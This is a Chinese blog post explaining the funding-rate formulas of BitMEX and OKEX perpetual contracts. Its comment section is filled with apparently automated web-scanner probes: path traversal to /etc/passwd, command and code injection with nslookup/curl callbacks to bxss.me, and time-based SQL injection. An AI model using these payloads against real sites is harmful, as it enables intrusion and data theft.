永续合约资金费率是如何计算的?

BitMEX 100倍杠杆永续合约,注册BitMex请使用日本IP:比特币量化交易交流群:191896494  BitMEX/OKEX量化机器人  

JEX 全球领先的期权交易所

目前永续合约最大的交易所当然是非BitMex莫属了,永续合约最大的特点就是不会交割,多空之间通过资金费率的机制保证合约价格盯住现货价格,那么这个资金费率是如何计算的呢?笔者查看了bitmex官方文档,找到了这个计算公式:

资金费率 (F) = 溢价指数 (P) + clamp (利率 (I) - 溢价指数 (P), 0.05%, -0.05%)

溢价指数 (P) = ( Max ( 0 , 深度加权买价 - 标记价格) - Max ( 0 , 标记价格 - 深度加权卖价)) / 现货价格 + 标记价格的合理基差

这里clamp (利率 (I) - 溢价指数 (P), 0.05%, -0.05%)表示利率 (I) - 溢价指数 (P)这个值在0.05%, -0.05%之间限制,因此资金费用就有了最高限制,对于BTC来说,资金费率最大值为0.375%

那么对于交易量第二的OKEX是如何计算这个资金费率的呢?

okex的计算公式是这样的:

资金费率=Clamp(MA(((合约买一价+合约卖一价)/2-现货指数价格)/现货指数价格 - Interest), -0.25%, 0.25%)

其中Interest为利率,可以看出okex的资金费率也是上下限制,最高为0.25%


  admin   2019-3-22

Dodopepe2023-9-28 8:16:18
/../../../../../../../../../../windows/system32/BITSADMIN.exe
Dodopepe2023-9-28 8:16:26
response.write(9769553*9222110)
Dodopepe2023-9-28 8:16:35
'+response.write(9769553*9222110)+'
Dodopepe2023-9-28 8:16:42
"+response.write(9769553*9222110)+"
Dodopepe2023-9-28 8:17:01
bcc:009247.5638-35746.5638.f83f5.19628.2@bxss.me
Dodopepe2023-9-28 8:17:05
echo zihplf$()\ fngyfz\nz^xyu||a #' &echo zihplf$()\ fngyfz\nz^xyu||a #|" &echo zihplf$()\ fngyfz\nz^xyu||a #
Dodopepe2023-9-28 8:17:10
&echo ylfvrh$()\ rpupkb\nz^xyu||a #' &echo ylfvrh$()\ rpupkb\nz^xyu||a #|" &echo ylfvrh$()\ rpupkb\nz^xyu||a #
Dodopepe2023-9-28 8:17:13
to@example.com> bcc:009247.5638-35747.5638.f83f5.19628.2@bxss.me
Dodopepe2023-9-28 8:17:14
../../../../../../../../../../../../../../etc/passwd
Dodopepe2023-9-28 8:17:20
|echo ftyccj$()\ ikikmb\nz^xyu||a #' |echo ftyccj$()\ ikikmb\nz^xyu||a #|" |echo ftyccj$()\ ikikmb\nz^xyu||a #
Dodopepe2023-9-28 8:17:32
(nslookup -q=cname hitvyvukkuwkybd622.bxss.me||curl hitvyvukkuwkybd622.bxss.me))
Dodopepe2023-9-28 8:17:35
../../../../../../../../../../../../../../windows/win.ini
Dodopepe2023-9-28 8:17:43
$(nslookup -q=cname hitjpzjbtigzu24201.bxss.me||curl hitjpzjbtigzu24201.bxss.me)
Dodopepe2023-9-28 8:17:46
file:///etc/passwd
Dodopepe2023-9-28 8:17:52
&nslookup -q=cname hitmawwbapxoz6ad71.bxss.me&'\"`0&nslookup -q=cname hitmawwbapxoz6ad71.bxss.me&`'
Dodopepe2023-9-28 8:18:01
'.gethostbyname(lc('hityt'.'kaffnlyz312d8.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(103).chr(88).chr(109).chr(89).'
Dodopepe2023-9-28 8:18:01
&(nslookup -q=cname hitlylstcqtom709f9.bxss.me||curl hitlylstcqtom709f9.bxss.me)&'\"`0&(nslookup -q=cname hitlylstcqtom709f9.bxss.me||curl hitlylstcqtom709f9.bxss.me)&`'
Dodopepe2023-9-28 8:18:08
".gethostbyname(lc("hitfh"."mqmkqegfa8df9.bxss.me."))."A".chr(67).chr(hex("58")).chr(113).chr(80).chr(122).chr(74)."
Dodopepe2023-9-28 8:18:11
|(nslookup -q=cname hitcuwdmxucfb4ec46.bxss.me||curl hitcuwdmxucfb4ec46.bxss.me)
Dodopepe2023-9-28 8:18:18
`(nslookup -q=cname hitmwsswkjqpk3b7d4.bxss.me||curl hitmwsswkjqpk3b7d4.bxss.me)`
Dodopepe2023-9-28 8:18:18
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
Dodopepe2023-9-28 8:18:28
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg
Dodopepe2023-9-28 8:18:27
!(()&&!|*|*|
Dodopepe2023-9-28 8:18:38
Http://bxss.me/t/fit.txt
Dodopepe2023-9-28 8:18:46
^(#$!@#$)(()))******
Dodopepe2023-9-28 8:18:46
../
Dodopepe2023-9-28 8:18:55
http://bxss.me/t/fit.txt?.jpg
Dodopepe2023-9-28 8:19:06
/etc/shells
Dodopepe2023-9-28 8:19:13
208
Dodopepe2023-9-28 8:19:16
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
Dodopepe2023-9-28 8:19:19
"+"A".concat(70-3).concat(22*4).concat(113).concat(88).concat(118).concat(80)+(require"socket" Socket.gethostbyname("hitsp"+"xxsleckr55e7a.bxss.me.")[3].to_s)+"
Dodopepe2023-9-28 8:19:24
208
Dodopepe2023-9-28 8:19:26
';print(md5(31337));$a='
Dodopepe2023-9-28 8:19:30
'+'A'.concat(70-3).concat(22*4).concat(99).concat(90).concat(112).concat(74)+(require'socket' Socket.gethostbyname('hitvj'+'jwaelkgw03b90.bxss.me.')[3].to_s)+'
Dodopepe2023-9-28 8:19:35
";print(md5(31337));$a="
Dodopepe2023-9-28 8:19:36
c:/windows/win.ini
Dodopepe2023-9-28 8:19:38
${@print(md5(31337))}
Dodopepe2023-9-28 8:19:41
208/.
Dodopepe2023-9-28 8:19:56
${@print(md5(31337))}\
Dodopepe2023-9-28 8:19:59
bxss.me
Dodopepe2023-9-28 8:20:02
'.print(md5(31337)).'
Dodopepe2023-9-28 8:56:46
zMC2ccf8
Dodopepe2023-9-28 8:56:54
-1 OR 2+956-956-1=0+0+0+1
Dodopepe2023-9-28 8:56:59
-1 OR 3+956-956-1=0+0+0+1
Dodopepe2023-9-28 8:57:03
-1 OR 3*2<(0+5+956-956)
Dodopepe2023-9-28 8:57:10
-1 OR 3*2>(0+5+956-956)
Dodopepe2023-9-28 8:57:17
1'"
Dodopepe2023-9-28 8:57:27
1����%2527%2522
Dodopepe2023-9-28 8:57:35
@@XCmKH
tGhYxqFm2023-10-19 13:39:16
response.write(9480451*9379541)
tGhYxqFm2023-10-19 13:39:16
'+response.write(9480451*9379541)+'
tGhYxqFm2023-10-19 13:39:17
"+response.write(9480451*9379541)+"
tGhYxqFm2023-10-19 13:39:18
/../../../../../../../../../../windows/system32/BITSADMIN.exe
tGhYxqFm2023-10-19 13:39:25
echo skyxbk$()\ fqtnia\nz^xyu||a #' &echo skyxbk$()\ fqtnia\nz^xyu||a #|" &echo skyxbk$()\ fqtnia\nz^xyu||a #
tGhYxqFm2023-10-19 13:39:26
&echo omjdru$()\ dwuurl\nz^xyu||a #' &echo omjdru$()\ dwuurl\nz^xyu||a #|" &echo omjdru$()\ dwuurl\nz^xyu||a #
tGhYxqFm2023-10-19 13:39:27
|echo tuxnpx$()\ lvjpse\nz^xyu||a #' |echo tuxnpx$()\ lvjpse\nz^xyu||a #|" |echo tuxnpx$()\ lvjpse\nz^xyu||a #
tGhYxqFm2023-10-19 13:39:28
(nslookup -q=cname hitmvpsbpounmd4e8a.bxss.me||curl hitmvpsbpounmd4e8a.bxss.me))
tGhYxqFm2023-10-19 13:39:31
$(nslookup -q=cname hitypltuytcwk1e7c8.bxss.me||curl hitypltuytcwk1e7c8.bxss.me)
tGhYxqFm2023-10-19 13:39:32
&nslookup -q=cname hityrexhxavdc07825.bxss.me&'\"`0&nslookup -q=cname hityrexhxavdc07825.bxss.me&`'
tGhYxqFm2023-10-19 13:39:33
&(nslookup -q=cname hitxjvfsvalge48c9c.bxss.me||curl hitxjvfsvalge48c9c.bxss.me)&'\"`0&(nslookup -q=cname hitxjvfsvalge48c9c.bxss.me||curl hitxjvfsvalge48c9c.bxss.me)&`'
tGhYxqFm2023-10-19 13:39:33
../../../../../../../../../../../../../../etc/passwd
tGhYxqFm2023-10-19 13:39:33
|(nslookup -q=cname hitlkpvqrpqmga0cf5.bxss.me||curl hitlkpvqrpqmga0cf5.bxss.me)
tGhYxqFm2023-10-19 13:39:34
../../../../../../../../../../../../../../windows/win.ini
tGhYxqFm2023-10-19 13:39:34
`(nslookup -q=cname hitpzrpkwkcrs98bae.bxss.me||curl hitpzrpkwkcrs98bae.bxss.me)`
tGhYxqFm2023-10-19 13:39:35
file:///etc/passwd
tGhYxqFm2023-10-19 13:39:37
../
tGhYxqFm2023-10-19 13:39:39
bcc:009247.160276-34988.160276.56f91.19649.2@bxss.me
tGhYxqFm2023-10-19 13:39:40
to@example.com> bcc:009247.160276-34989.160276.56f91.19649.2@bxss.me
tGhYxqFm2023-10-19 13:39:40
12345'"\'\");|]*{ <>�''
tGhYxqFm2023-10-19 13:39:42
${9999937+10000196}
tGhYxqFm2023-10-19 13:39:46
!(()&&!|*|*|
tGhYxqFm2023-10-19 13:39:46
^(#$!@#$)(()))******
tGhYxqFm2023-10-19 13:39:47
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
tGhYxqFm2023-10-19 13:39:48
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg
tGhYxqFm2023-10-19 13:39:49
Http://bxss.me/t/fit.txt
tGhYxqFm2023-10-19 13:39:49
http://bxss.me/t/fit.txt?.jpg
tGhYxqFm2023-10-19 13:39:50
/etc/shells
tGhYxqFm2023-10-19 13:39:51
c:/windows/win.ini
tGhYxqFm2023-10-19 13:39:52
bxss.me
tGhYxqFm2023-10-19 13:39:54
'.gethostbyname(lc('hitml'.'vqwcbjwh35470.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(122).chr(66).chr(122).chr(78).'
tGhYxqFm2023-10-19 13:39:54
".gethostbyname(lc("hitik"."rcxhzppy24013.bxss.me."))."A".chr(67).chr(hex("58")).chr(116).chr(86).chr(116).chr(75)."
tGhYxqFm2023-10-19 13:39:54
'"()
tGhYxqFm2023-10-19 13:39:56
'&&sleep(27*1000)*afravq&&'
tGhYxqFm2023-10-19 13:39:56
"&&sleep(27*1000)*lyuqna&&"
tGhYxqFm2023-10-19 13:39:57
'||sleep(27*1000)*nxrlsw||'
tGhYxqFm2023-10-19 13:39:57
"||sleep(27*1000)*rgoplo||"
tGhYxqFm2023-10-19 13:39:58
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
tGhYxqFm2023-10-19 13:39:58
';print(md5(31337));$a='
tGhYxqFm2023-10-19 13:39:58
ctime sleep p0 (I30 tp1 Rp2 .
tGhYxqFm2023-10-19 13:39:59
";print(md5(31337));$a="
tGhYxqFm2023-10-19 13:40:00
${@print(md5(31337))}
tGhYxqFm2023-10-19 13:40:01
HttP://bxss.me/t/xss.html?%00
tGhYxqFm2023-10-19 13:40:01
${@print(md5(31337))}\
tGhYxqFm2023-10-19 13:40:02
bxss.me/t/xss.html?%00
tGhYxqFm2023-10-19 13:40:03
'.print(md5(31337)).'
tGhYxqFm2023-10-19 13:40:04
"+"A".concat(70-3).concat(22*4).concat(99).concat(74).concat(107).concat(80)+(require"socket" Socket.gethostbyname("hithz"+"odzzbvxu8acfa.bxss.me.")[3].to_s)+"
tGhYxqFm2023-10-19 13:40:05
'+'A'.concat(70-3).concat(22*4).concat(116).concat(71).concat(118).concat(74)+(require'socket' Socket.gethostbyname('hittp'+'hoydddfg9bc29.bxss.me.')[3].to_s)+'
tGhYxqFm2023-10-19 13:40:06
208
tGhYxqFm2023-10-19 13:40:07
208
tGhYxqFm2023-10-19 13:40:09
208/.
tGhYxqFm2023-10-19 13:55:55
j1vgiyDw
tGhYxqFm2023-10-19 13:56:00
-1 OR 2+755-755-1=0+0+0+1
tGhYxqFm2023-10-19 13:56:04
-1 OR 3+755-755-1=0+0+0+1
tGhYxqFm2023-10-19 13:56:07
-1 OR 3*2<(0+5+755-755)
tGhYxqFm2023-10-19 13:56:10
-1 OR 3*2>(0+5+755-755)
tGhYxqFm2023-10-19 13:57:04
if(now()=sysdate(),sleep(15),0)
tGhYxqFm2023-10-19 13:57:58
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
tGhYxqFm2023-10-19 13:59:08
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
tGhYxqFm2023-10-19 14:00:09
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
tGhYxqFm2023-10-19 14:01:06
-1; waitfor delay '0:0:15' --
tGhYxqFm2023-10-19 14:02:02
-1); waitfor delay '0:0:15' --
tGhYxqFm2023-10-19 14:03:03
-1)); waitfor delay '0:0:15' --
tGhYxqFm2023-10-19 14:03:52
1 waitfor delay '0:0:15' --
tGhYxqFm2023-10-19 14:04:49
UfuUV8TJ'; waitfor delay '0:0:15' --
tGhYxqFm2023-10-19 14:05:45
qUKHHWsm'); waitfor delay '0:0:15' --
tGhYxqFm2023-10-19 14:06:33
98fZQdPv')); waitfor delay '0:0:15' --
tGhYxqFm2023-10-19 14:07:28
-5 OR 933=(SELECT 933 FROM PG_SLEEP(15))--
tGhYxqFm2023-10-19 14:08:26
-5) OR 320=(SELECT 320 FROM PG_SLEEP(15))--
tGhYxqFm2023-10-19 14:09:22
-1)) OR 221=(SELECT 221 FROM PG_SLEEP(15))--
tGhYxqFm2023-10-19 14:10:22
xQRkaRga' OR 282=(SELECT 282 FROM PG_SLEEP(15))--
tGhYxqFm2023-10-19 14:11:15
eAwLIaEg') OR 996=(SELECT 996 FROM PG_SLEEP(15))--
tGhYxqFm2023-10-19 14:12:22
QDiBRSZD')) OR 21=(SELECT 21 FROM PG_SLEEP(15))--
tGhYxqFm2023-10-19 14:13:34
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
tGhYxqFm2023-10-19 14:14:38
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
tGhYxqFm2023-10-19 14:14:41
1'"
tGhYxqFm2023-10-19 14:14:44
1����%2527%2522
tGhYxqFm2023-10-19 14:14:45
@@FWInx
Remark: